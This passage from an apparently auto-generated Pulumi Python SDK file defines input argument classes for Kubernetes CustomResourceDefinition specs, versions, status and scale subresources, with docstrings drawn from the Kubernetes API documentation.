Optional[pulumi.Input['CustomResourceDefinitionNamesPatchArgs']]: """ names specify the resource and kind names for the custom resource. """ return pulumi.get(self, "names") @names.setter def names(self, value: Optional[pulumi.Input['CustomResourceDefinitionNamesPatchArgs']]): pulumi.set(self, "names", value) @property @pulumi.getter(name="preserveUnknownFields") def preserve_unknown_fields(self) -> Optional[pulumi.Input[bool]]: """ preserveUnknownFields indicates that object fields which are not specified in the OpenAPI schema should be preserved when persisting to storage. apiVersion, kind, metadata and known fields inside metadata are always preserved. This field is deprecated in favor of setting `x-preserve-unknown-fields` to true in `spec.versions[*].schema.openAPIV3Schema`. See https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#field-pruning for details. """ return pulumi.get(self, "preserve_unknown_fields") @preserve_unknown_fields.setter def preserve_unknown_fields(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "preserve_unknown_fields", value) @property @pulumi.getter def scope(self) -> Optional[pulumi.Input[str]]: """ scope indicates whether the defined custom resource is cluster- or namespace-scoped. Allowed values are `Cluster` and `Namespaced`. """ return pulumi.get(self, "scope") @scope.setter def scope(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "scope", value) @property @pulumi.getter def versions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionPatchArgs']]]]: """ versions is the list of all API versions of the defined custom resource. Version names are used to compute the order in which served versions are listed in API discovery. If the version string is "kube-like", it will sort above non "kube-like" version strings, which are ordered lexicographically. "Kube-like" versions start with a "v", then are followed by a number (the major version), then optionally the string "alpha" or "beta" and another number (the minor version). These are sorted first by GA > beta > alpha (where GA is a version with no suffix such as beta or alpha), and then by comparing major version, then minor version. An example sorted list of versions: v10, v2, v1, v11beta2, v10beta3, v3beta1, v12alpha1, v11alpha2, foo1, foo10. """ return pulumi.get(self, "versions") @versions.setter def versions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionPatchArgs']]]]): pulumi.set(self, "versions", value) @pulumi.input_type class CustomResourceDefinitionSpecArgs: def __init__(__self__, *, group: pulumi.Input[str], names: pulumi.Input['CustomResourceDefinitionNamesArgs'], scope: pulumi.Input[str], versions: pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionArgs']]], conversion: Optional[pulumi.Input['CustomResourceConversionArgs']] = None, preserve_unknown_fields: Optional[pulumi.Input[bool]] = None): """ CustomResourceDefinitionSpec describes how a user wants their resource to appear :param pulumi.Input[str] group: group is the API group of the defined custom resource. The custom resources are served under `/apis/<group>/...`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). :param pulumi.Input['CustomResourceDefinitionNamesArgs'] names: names specify the resource and kind names for the custom resource. :param pulumi.Input[str] scope: scope indicates whether the defined custom resource is cluster- or namespace-scoped. Allowed values are `Cluster` and `Namespaced`. :param pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionArgs']]] versions: versions is the list of all API versions of the defined custom resource. Version names are used to compute the order in which served versions are listed in API discovery. If the version string is "kube-like", it will sort above non "kube-like" version strings, which are ordered lexicographically. "Kube-like" versions start with a "v", then are followed by a number (the major version), then optionally the string "alpha" or "beta" and another number (the minor version). These are sorted first by GA > beta > alpha (where GA is a version with no suffix such as beta or alpha), and then by comparing major version, then minor version. An example sorted list of versions: v10, v2, v1, v11beta2, v10beta3, v3beta1, v12alpha1, v11alpha2, foo1, foo10. :param pulumi.Input['CustomResourceConversionArgs'] conversion: conversion defines conversion settings for the CRD. :param pulumi.Input[bool] preserve_unknown_fields: preserveUnknownFields indicates that object fields which are not specified in the OpenAPI schema should be preserved when persisting to storage. apiVersion, kind, metadata and known fields inside metadata are always preserved. This field is deprecated in favor of setting `x-preserve-unknown-fields` to true in `spec.versions[*].schema.openAPIV3Schema`. See https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#field-pruning for details. """ pulumi.set(__self__, "group", group) pulumi.set(__self__, "names", names) pulumi.set(__self__, "scope", scope) pulumi.set(__self__, "versions", versions) if conversion is not None: pulumi.set(__self__, "conversion", conversion) if preserve_unknown_fields is not None: pulumi.set(__self__, "preserve_unknown_fields", preserve_unknown_fields) @property @pulumi.getter def group(self) -> pulumi.Input[str]: """ group is the API group of the defined custom resource. The custom resources are served under `/apis/<group>/...`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). """ return pulumi.get(self, "group") @group.setter def group(self, value: pulumi.Input[str]): pulumi.set(self, "group", value) @property @pulumi.getter def names(self) -> pulumi.Input['CustomResourceDefinitionNamesArgs']: """ names specify the resource and kind names for the custom resource. """ return pulumi.get(self, "names") @names.setter def names(self, value: pulumi.Input['CustomResourceDefinitionNamesArgs']): pulumi.set(self, "names", value) @property @pulumi.getter def scope(self) -> pulumi.Input[str]: """ scope indicates whether the defined custom resource is cluster- or namespace-scoped. Allowed values are `Cluster` and `Namespaced`. """ return pulumi.get(self, "scope") @scope.setter def scope(self, value: pulumi.Input[str]): pulumi.set(self, "scope", value) @property @pulumi.getter def versions(self) -> pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionArgs']]]: """ versions is the list of all API versions of the defined custom resource. Version names are used to compute the order in which served versions are listed in API discovery. If the version string is "kube-like", it will sort above non "kube-like" version strings, which are ordered lexicographically. "Kube-like" versions start with a "v", then are followed by a number (the major version), then optionally the string "alpha" or "beta" and another number (the minor version). These are sorted first by GA > beta > alpha (where GA is a version with no suffix such as beta or alpha), and then by comparing major version, then minor version. An example sorted list of versions: v10, v2, v1, v11beta2, v10beta3, v3beta1, v12alpha1, v11alpha2, foo1, foo10. """ return pulumi.get(self, "versions") @versions.setter def versions(self, value: pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionArgs']]]): pulumi.set(self, "versions", value) @property @pulumi.getter def conversion(self) -> Optional[pulumi.Input['CustomResourceConversionArgs']]: """ conversion defines conversion settings for the CRD. """ return pulumi.get(self, "conversion") @conversion.setter def conversion(self, value: Optional[pulumi.Input['CustomResourceConversionArgs']]): pulumi.set(self, "conversion", value) @property @pulumi.getter(name="preserveUnknownFields") def preserve_unknown_fields(self) -> Optional[pulumi.Input[bool]]: """ preserveUnknownFields indicates that object fields which are not specified in the OpenAPI schema should be preserved when persisting to storage. apiVersion, kind, metadata and known fields inside metadata are always preserved. This field is deprecated in favor of setting `x-preserve-unknown-fields` to true in `spec.versions[*].schema.openAPIV3Schema`. See https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#field-pruning for details. """ return pulumi.get(self, "preserve_unknown_fields") @preserve_unknown_fields.setter def preserve_unknown_fields(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "preserve_unknown_fields", value) @pulumi.input_type class CustomResourceDefinitionStatusArgs: def __init__(__self__, *, accepted_names: pulumi.Input['CustomResourceDefinitionNamesArgs'], stored_versions: pulumi.Input[Sequence[pulumi.Input[str]]], conditions: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionConditionArgs']]]] = None): """ CustomResourceDefinitionStatus indicates the state of the CustomResourceDefinition :param pulumi.Input['CustomResourceDefinitionNamesArgs'] accepted_names: acceptedNames are the names that are actually being used to serve discovery. They may be different than the names in spec. :param pulumi.Input[Sequence[pulumi.Input[str]]] stored_versions: storedVersions lists all versions of CustomResources that were ever persisted. Tracking these versions allows a migration path for stored versions in etcd. The field is mutable so a migration controller can finish a migration to another version (ensuring no old objects are left in storage), and then remove the rest of the versions from this list. Versions may not be removed from `spec.versions` while they exist in this list. :param pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionConditionArgs']]] conditions: conditions indicate state for particular aspects of a CustomResourceDefinition """ pulumi.set(__self__, "accepted_names", accepted_names) pulumi.set(__self__, "stored_versions", stored_versions) if conditions is not None: pulumi.set(__self__, "conditions", conditions) @property @pulumi.getter(name="acceptedNames") def accepted_names(self) -> pulumi.Input['CustomResourceDefinitionNamesArgs']: """ acceptedNames are the names that are actually being used to serve discovery. They may be different than the names in spec. """ return pulumi.get(self, "accepted_names") @accepted_names.setter def accepted_names(self, value: pulumi.Input['CustomResourceDefinitionNamesArgs']): pulumi.set(self, "accepted_names", value) @property @pulumi.getter(name="storedVersions") def stored_versions(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]: """ storedVersions lists all versions of CustomResources that were ever persisted. Tracking these versions allows a migration path for stored versions in etcd. The field is mutable so a migration controller can finish a migration to another version (ensuring no old objects are left in storage), and then remove the rest of the versions from this list. Versions may not be removed from `spec.versions` while they exist in this list. """ return pulumi.get(self, "stored_versions") @stored_versions.setter def stored_versions(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]): pulumi.set(self, "stored_versions", value) @property @pulumi.getter def conditions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionConditionArgs']]]]: """ conditions indicate state for particular aspects of a CustomResourceDefinition """ return pulumi.get(self, "conditions") @conditions.setter def conditions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionConditionArgs']]]]): pulumi.set(self, "conditions", value) @pulumi.input_type class CustomResourceDefinitionVersionPatchArgs: def __init__(__self__, *, additional_printer_columns: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionPatchArgs']]]] = None, deprecated: Optional[pulumi.Input[bool]] = None, deprecation_warning: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, schema: Optional[pulumi.Input['CustomResourceValidationPatchArgs']] = None, served: Optional[pulumi.Input[bool]] = None, storage: Optional[pulumi.Input[bool]] = None, subresources: Optional[pulumi.Input['CustomResourceSubresourcesPatchArgs']] = None): """ CustomResourceDefinitionVersion describes a version for CRD. :param pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionPatchArgs']]] additional_printer_columns: additionalPrinterColumns specifies additional columns returned in Table output. See https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables for details. If no columns are specified, a single column displaying the age of the custom resource is used. :param pulumi.Input[bool] deprecated: deprecated indicates this version of the custom resource API is deprecated. When set to true, API requests to this version receive a warning header in the server response. Defaults to false. :param pulumi.Input[str] deprecation_warning: deprecationWarning overrides the default warning returned to API clients. May only be set when `deprecated` is true. The default warning indicates this version is deprecated and recommends use of the newest served version of equal or greater stability, if one exists. :param pulumi.Input[str] name: name is the version name, e.g. “v1”, “v2beta1”, etc. The custom resources are served under this version at `/apis/<group>/<version>/...` if `served` is true. :param pulumi.Input['CustomResourceValidationPatchArgs'] schema: schema describes the schema used for validation, pruning, and defaulting of this version of the custom resource. :param pulumi.Input[bool] served: served is a flag enabling/disabling this version from being served via REST APIs :param pulumi.Input[bool] storage: storage indicates this version should be used when persisting custom resources to storage. There must be exactly one version with storage=true. :param pulumi.Input['CustomResourceSubresourcesPatchArgs'] subresources: subresources specify what subresources this version of the defined custom resource have. """ if additional_printer_columns is not None: pulumi.set(__self__, "additional_printer_columns", additional_printer_columns) if deprecated is not None: pulumi.set(__self__, "deprecated", deprecated) if deprecation_warning is not None: pulumi.set(__self__, "deprecation_warning", deprecation_warning) if name is not None: pulumi.set(__self__, "name", name) if schema is not None: pulumi.set(__self__, "schema", schema) if served is not None: pulumi.set(__self__, "served", served) if storage is not None: pulumi.set(__self__, "storage", storage) if subresources is not None: pulumi.set(__self__, "subresources", subresources) @property @pulumi.getter(name="additionalPrinterColumns") def additional_printer_columns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionPatchArgs']]]]: """ additionalPrinterColumns specifies additional columns returned in Table output. See https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables for details. If no columns are specified, a single column displaying the age of the custom resource is used. """ return pulumi.get(self, "additional_printer_columns") @additional_printer_columns.setter def additional_printer_columns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionPatchArgs']]]]): pulumi.set(self, "additional_printer_columns", value) @property @pulumi.getter def deprecated(self) -> Optional[pulumi.Input[bool]]: """ deprecated indicates this version of the custom resource API is deprecated. When set to true, API requests to this version receive a warning header in the server response. Defaults to false. """ return pulumi.get(self, "deprecated") @deprecated.setter def deprecated(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "deprecated", value) @property @pulumi.getter(name="deprecationWarning") def deprecation_warning(self) -> Optional[pulumi.Input[str]]: """ deprecationWarning overrides the default warning returned to API clients. May only be set when `deprecated` is true. The default warning indicates this version is deprecated and recommends use of the newest served version of equal or greater stability, if one exists. """ return pulumi.get(self, "deprecation_warning") @deprecation_warning.setter def deprecation_warning(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deprecation_warning", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ name is the version name, e.g. “v1”, “v2beta1”, etc. The custom resources are served under this version at `/apis/<group>/<version>/...` if `served` is true. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def schema(self) -> Optional[pulumi.Input['CustomResourceValidationPatchArgs']]: """ schema describes the schema used for validation, pruning, and defaulting of this version of the custom resource. """ return pulumi.get(self, "schema") @schema.setter def schema(self, value: Optional[pulumi.Input['CustomResourceValidationPatchArgs']]): pulumi.set(self, "schema", value) @property @pulumi.getter def served(self) -> Optional[pulumi.Input[bool]]: """ served is a flag enabling/disabling this version from being served via REST APIs """ return pulumi.get(self, "served") @served.setter def served(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "served", value) @property @pulumi.getter def storage(self) -> Optional[pulumi.Input[bool]]: """ storage indicates this version should be used when persisting custom resources to storage. There must be exactly one version with storage=true. """ return pulumi.get(self, "storage") @storage.setter def storage(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "storage", value) @property @pulumi.getter def subresources(self) -> Optional[pulumi.Input['CustomResourceSubresourcesPatchArgs']]: """ subresources specify what subresources this version of the defined custom resource have. """ return pulumi.get(self, "subresources") @subresources.setter def subresources(self, value: Optional[pulumi.Input['CustomResourceSubresourcesPatchArgs']]): pulumi.set(self, "subresources", value) @pulumi.input_type class CustomResourceDefinitionVersionArgs: def __init__(__self__, *, name: pulumi.Input[str], served: pulumi.Input[bool], storage: pulumi.Input[bool], additional_printer_columns: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionArgs']]]] = None, deprecated: Optional[pulumi.Input[bool]] = None, deprecation_warning: Optional[pulumi.Input[str]] = None, schema: Optional[pulumi.Input['CustomResourceValidationArgs']] = None, subresources: Optional[pulumi.Input['CustomResourceSubresourcesArgs']] = None): """ CustomResourceDefinitionVersion describes a version for CRD. :param pulumi.Input[str] name: name is the version name, e.g. “v1”, “v2beta1”, etc. The custom resources are served under this version at `/apis/<group>/<version>/...` if `served` is true. :param pulumi.Input[bool] served: served is a flag enabling/disabling this version from being served via REST APIs :param pulumi.Input[bool] storage: storage indicates this version should be used when persisting custom resources to storage. There must be exactly one version with storage=true. :param pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionArgs']]] additional_printer_columns: additionalPrinterColumns specifies additional columns returned in Table output. See https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables for details. If no columns are specified, a single column displaying the age of the custom resource is used. :param pulumi.Input[bool] deprecated: deprecated indicates this version of the custom resource API is deprecated. When set to true, API requests to this version receive a warning header in the server response. Defaults to false. :param pulumi.Input[str] deprecation_warning: deprecationWarning overrides the default warning returned to API clients. May only be set when `deprecated` is true. The default warning indicates this version is deprecated and recommends use of the newest served version of equal or greater stability, if one exists. :param pulumi.Input['CustomResourceValidationArgs'] schema: schema describes the schema used for validation, pruning, and defaulting of this version of the custom resource. :param pulumi.Input['CustomResourceSubresourcesArgs'] subresources: subresources specify what subresources this version of the defined custom resource have. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "served", served) pulumi.set(__self__, "storage", storage) if additional_printer_columns is not None: pulumi.set(__self__, "additional_printer_columns", additional_printer_columns) if deprecated is not None: pulumi.set(__self__, "deprecated", deprecated) if deprecation_warning is not None: pulumi.set(__self__, "deprecation_warning", deprecation_warning) if schema is not None: pulumi.set(__self__, "schema", schema) if subresources is not None: pulumi.set(__self__, "subresources", subresources) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ name is the version name, e.g. “v1”, “v2beta1”, etc. The custom resources are served under this version at `/apis/<group>/<version>/...` if `served` is true. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def served(self) -> pulumi.Input[bool]: """ served is a flag enabling/disabling this version from being served via REST APIs """ return pulumi.get(self, "served") @served.setter def served(self, value: pulumi.Input[bool]): pulumi.set(self, "served", value) @property @pulumi.getter def storage(self) -> pulumi.Input[bool]: """ storage indicates this version should be used when persisting custom resources to storage. There must be exactly one version with storage=true. """ return pulumi.get(self, "storage") @storage.setter def storage(self, value: pulumi.Input[bool]): pulumi.set(self, "storage", value) @property @pulumi.getter(name="additionalPrinterColumns") def additional_printer_columns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionArgs']]]]: """ additionalPrinterColumns specifies additional columns returned in Table output. See https://kubernetes.io/docs/reference/using-api/api-concepts/#receiving-resources-as-tables for details. If no columns are specified, a single column displaying the age of the custom resource is used. """ return pulumi.get(self, "additional_printer_columns") @additional_printer_columns.setter def additional_printer_columns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceColumnDefinitionArgs']]]]): pulumi.set(self, "additional_printer_columns", value) @property @pulumi.getter def deprecated(self) -> Optional[pulumi.Input[bool]]: """ deprecated indicates this version of the custom resource API is deprecated. When set to true, API requests to this version receive a warning header in the server response. Defaults to false. """ return pulumi.get(self, "deprecated") @deprecated.setter def deprecated(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "deprecated", value) @property @pulumi.getter(name="deprecationWarning") def deprecation_warning(self) -> Optional[pulumi.Input[str]]: """ deprecationWarning overrides the default warning returned to API clients. May only be set when `deprecated` is true. The default warning indicates this version is deprecated and recommends use of the newest served version of equal or greater stability, if one exists. """ return pulumi.get(self, "deprecation_warning") @deprecation_warning.setter def deprecation_warning(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "deprecation_warning", value) @property @pulumi.getter def schema(self) -> Optional[pulumi.Input['CustomResourceValidationArgs']]: """ schema describes the schema used for validation, pruning, and defaulting of this version of the custom resource. """ return pulumi.get(self, "schema") @schema.setter def schema(self, value: Optional[pulumi.Input['CustomResourceValidationArgs']]): pulumi.set(self, "schema", value) @property @pulumi.getter def subresources(self) -> Optional[pulumi.Input['CustomResourceSubresourcesArgs']]: """ subresources specify what subresources this version of the defined custom resource have. """ return pulumi.get(self, "subresources") @subresources.setter def subresources(self, value: Optional[pulumi.Input['CustomResourceSubresourcesArgs']]): pulumi.set(self, "subresources", value) @pulumi.input_type class CustomResourceDefinitionArgs: def __init__(__self__, *, spec: pulumi.Input['CustomResourceDefinitionSpecArgs'], api_version: Optional[pulumi.Input[str]] = None, kind: Optional[pulumi.Input[str]] = None, metadata: Optional[pulumi.Input['_meta.v1.ObjectMetaArgs']] = None, status: Optional[pulumi.Input['CustomResourceDefinitionStatusArgs']] = None): """ CustomResourceDefinition represents a resource that should be exposed on the API server. Its name MUST be in the format <.spec.name>.<.spec.group>. :param pulumi.Input['CustomResourceDefinitionSpecArgs'] spec: spec describes how the user wants the resources to appear :param pulumi.Input[str] api_version: APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources :param pulumi.Input[str] kind: Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds :param pulumi.Input['_meta.v1.ObjectMetaArgs'] metadata: Standard object's metadata More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata :param pulumi.Input['CustomResourceDefinitionStatusArgs'] status: status indicates the actual state of the CustomResourceDefinition """ pulumi.set(__self__, "spec", spec) if api_version is not None: pulumi.set(__self__, "api_version", 'apiextensions.k8s.io/v1') if kind is not None: pulumi.set(__self__, "kind", 'CustomResourceDefinition') if metadata is not None: pulumi.set(__self__, "metadata", metadata) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def spec(self) -> pulumi.Input['CustomResourceDefinitionSpecArgs']: """ spec describes how the user wants the resources to appear """ return pulumi.get(self, "spec") @spec.setter def spec(self, value: pulumi.Input['CustomResourceDefinitionSpecArgs']): pulumi.set(self, "spec", value) @property @pulumi.getter(name="apiVersion") def api_version(self) -> Optional[pulumi.Input[str]]: """ APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources """ return pulumi.get(self, "api_version") @api_version.setter def api_version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_version", value) @property @pulumi.getter def kind(self) -> Optional[pulumi.Input[str]]: """ Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds """ return pulumi.get(self, "kind") @kind.setter def kind(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kind", value) @property @pulumi.getter def metadata(self) -> Optional[pulumi.Input['_meta.v1.ObjectMetaArgs']]: """ Standard object's metadata More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata """ return pulumi.get(self, "metadata") @metadata.setter def metadata(self, value: Optional[pulumi.Input['_meta.v1.ObjectMetaArgs']]): pulumi.set(self, "metadata", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input['CustomResourceDefinitionStatusArgs']]: """ status indicates the actual state of the CustomResourceDefinition """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input['CustomResourceDefinitionStatusArgs']]): pulumi.set(self, "status", value) @pulumi.input_type class CustomResourceSubresourceScalePatchArgs: def __init__(__self__, *, label_selector_path: Optional[pulumi.Input[str]] = None, spec_replicas_path: Optional[pulumi.Input[str]] = None, status_replicas_path: Optional[pulumi.Input[str]] = None): """ CustomResourceSubresourceScale defines how to serve the scale subresource for CustomResources. :param pulumi.Input[str] label_selector_path: labelSelectorPath defines the JSON path inside of a custom resource that corresponds to Scale `status.selector`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status` or `.spec`. Must be set to work with HorizontalPodAutoscaler. The field pointed by this JSON path must be a string field (not a complex selector struct) which contains a serialized label selector in string form. More info: https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions#scale-subresource If there is no value under the given path in the custom resource, the `status.selector` value in the `/scale` subresource will default to the empty string. :param pulumi.Input[str] spec_replicas_path: specReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `spec.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.spec`. If there is no value under the given path in the custom resource, the `/scale` subresource will return an error on GET. :param pulumi.Input[str] status_replicas_path: statusReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `status.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status`. If there is no value under the given path in the custom resource, the `status.replicas` value in the `/scale` subresource will default to 0. """ if label_selector_path is not None: pulumi.set(__self__, "label_selector_path", label_selector_path) if spec_replicas_path is not None: pulumi.set(__self__, "spec_replicas_path", spec_replicas_path) if status_replicas_path is not None: pulumi.set(__self__, "status_replicas_path", status_replicas_path) @property @pulumi.getter(name="labelSelectorPath") def label_selector_path(self) -> Optional[pulumi.Input[str]]: """ labelSelectorPath defines the JSON path inside of a custom resource that corresponds to Scale `status.selector`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status` or `.spec`. Must be set to work with HorizontalPodAutoscaler. The field pointed by this JSON path must be a string field (not a complex selector struct) which contains a serialized label selector in string form. More info: https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions#scale-subresource If there is no value under the given path in the custom resource, the `status.selector` value in the `/scale` subresource will default to the empty string. """ return pulumi.get(self, "label_selector_path") @label_selector_path.setter def label_selector_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "label_selector_path", value) @property @pulumi.getter(name="specReplicasPath") def spec_replicas_path(self) -> Optional[pulumi.Input[str]]: """ specReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `spec.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.spec`. If there is no value under the given path in the custom resource, the `/scale` subresource will return an error on GET. """ return pulumi.get(self, "spec_replicas_path") @spec_replicas_path.setter def spec_replicas_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "spec_replicas_path", value) @property @pulumi.getter(name="statusReplicasPath") def status_replicas_path(self) -> Optional[pulumi.Input[str]]: """ statusReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `status.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status`. If there is no value under the given path in the custom resource, the `status.replicas` value in the `/scale` subresource will default to 0. """ return pulumi.get(self, "status_replicas_path") @status_replicas_path.setter def status_replicas_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "status_replicas_path", value) @pulumi.input_type class CustomResourceSubresourceScaleArgs: def __init__(__self__, *, spec_replicas_path: pulumi.Input[str], status_replicas_path: pulumi.Input[str], label_selector_path: Optional[pulumi.Input[str]] = None): """ CustomResourceSubresourceScale defines how to serve the scale subresource for CustomResources. :param pulumi.Input[str] spec_replicas_path: specReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `spec.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.spec`. If there is no value under the given path in the custom resource, the `/scale` subresource will return an error on GET. :param pulumi.Input[str] status_replicas_path: statusReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `status.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status`. If there is no value under the given path in the custom resource, the `status.replicas` value in the `/scale` subresource will default to 0. :param pulumi.Input[str] label_selector_path: labelSelectorPath defines the JSON path inside of a custom resource that corresponds to Scale `status.selector`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status` or `.spec`. Must be set to work with HorizontalPodAutoscaler. The field pointed by this JSON path must be a string field (not a complex selector struct) which contains a serialized label selector in string form. More info: https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions#scale-subresource If there is no value under the given path in the custom resource, the `status.selector` value in the `/scale` subresource will default to the empty string. """ pulumi.set(__self__, "spec_replicas_path", spec_replicas_path) pulumi.set(__self__, "status_replicas_path", status_replicas_path) if label_selector_path is not None: pulumi.set(__self__, "label_selector_path", label_selector_path) @property @pulumi.getter(name="specReplicasPath") def spec_replicas_path(self) -> pulumi.Input[str]: """ specReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `spec.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.spec`. If there is no value under the given path in the custom resource, the `/scale` subresource will return an error on GET. """ return pulumi.get(self, "spec_replicas_path") @spec_replicas_path.setter def spec_replicas_path(self, value: pulumi.Input[str]): pulumi.set(self, "spec_replicas_path", value) @property @pulumi.getter(name="statusReplicasPath") def status_replicas_path(self) -> pulumi.Input[str]: """ statusReplicasPath defines the JSON path inside of a custom resource that corresponds to Scale `status.replicas`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status`. If there is no value under the given path in the custom resource, the `status.replicas` value in the `/scale` subresource will default to 0. """ return pulumi.get(self, "status_replicas_path") @status_replicas_path.setter def status_replicas_path(self, value: pulumi.Input[str]): pulumi.set(self, "status_replicas_path", value) @property @pulumi.getter(name="labelSelectorPath") def label_selector_path(self) -> Optional[pulumi.Input[str]]: """ labelSelectorPath defines the JSON path inside of a custom resource that corresponds to Scale `status.selector`. Only JSON paths without the array notation are allowed. Must be a JSON Path under `.status` or `.spec`. Must be set to work with HorizontalPodAutoscaler. The field pointed by this JSON path must be a string field (not a complex selector struct) which contains a serialized label selector in string form. More info: https://kubernetes.io/docs/tasks/access-kubernetes-api/custom-resources/custom-resource-definitions#scale-subresource If there is no value under the given path in the custom resource, the `status.selector` value in the `/scale` subresource will default to the empty string. """ return pulumi.get(self, "label_selector_path") @label_selector_path.setter def label_selector_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "label_selector_path", value) @pulumi.input_type class CustomResourceSubresourcesPatchArgs: def __init__(__self__, *, scale: Optional[pulumi.Input['CustomResourceSubresourceScalePatchArgs']] = None, status: Optional[Any] = None): """ CustomResourceSubresources defines the status and scale subresources for CustomResources. :param pulumi.Input['CustomResourceSubresourceScalePatchArgs'] scale: scale indicates the custom resource should serve a `/scale` subresource that returns an `autoscaling/v1` Scale object. :param Any status: status indicates the custom resource should serve a `/status` subresource. When enabled: 1. requests to the custom resource primary endpoint ignore changes to the `status` stanza of the object. 2. requests to the custom resource `/status` subresource ignore changes to anything other than the `status` stanza of the object. """ if scale is not None: pulumi.set(__self__, "scale", scale) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def scale(self) -> Optional[pulumi.Input['CustomResourceSubresourceScalePatchArgs']]: """ scale indicates the custom resource should serve a `/scale` subresource that returns an `autoscaling/v1` Scale object. """ return pulumi.get(self, "scale") @scale.setter def scale(self, value: Optional[pulumi.Input['CustomResourceSubresourceScalePatchArgs']]): pulumi.set(self, "scale", value) @property @pulumi.getter def status(self) -> Optional[Any]: """ status indicates the custom resource should serve a `/status` subresource. When enabled: 1. requests to the custom resource primary endpoint ignore changes to the `status` stanza of the object. 2. requests to the custom resource `/status` subresource 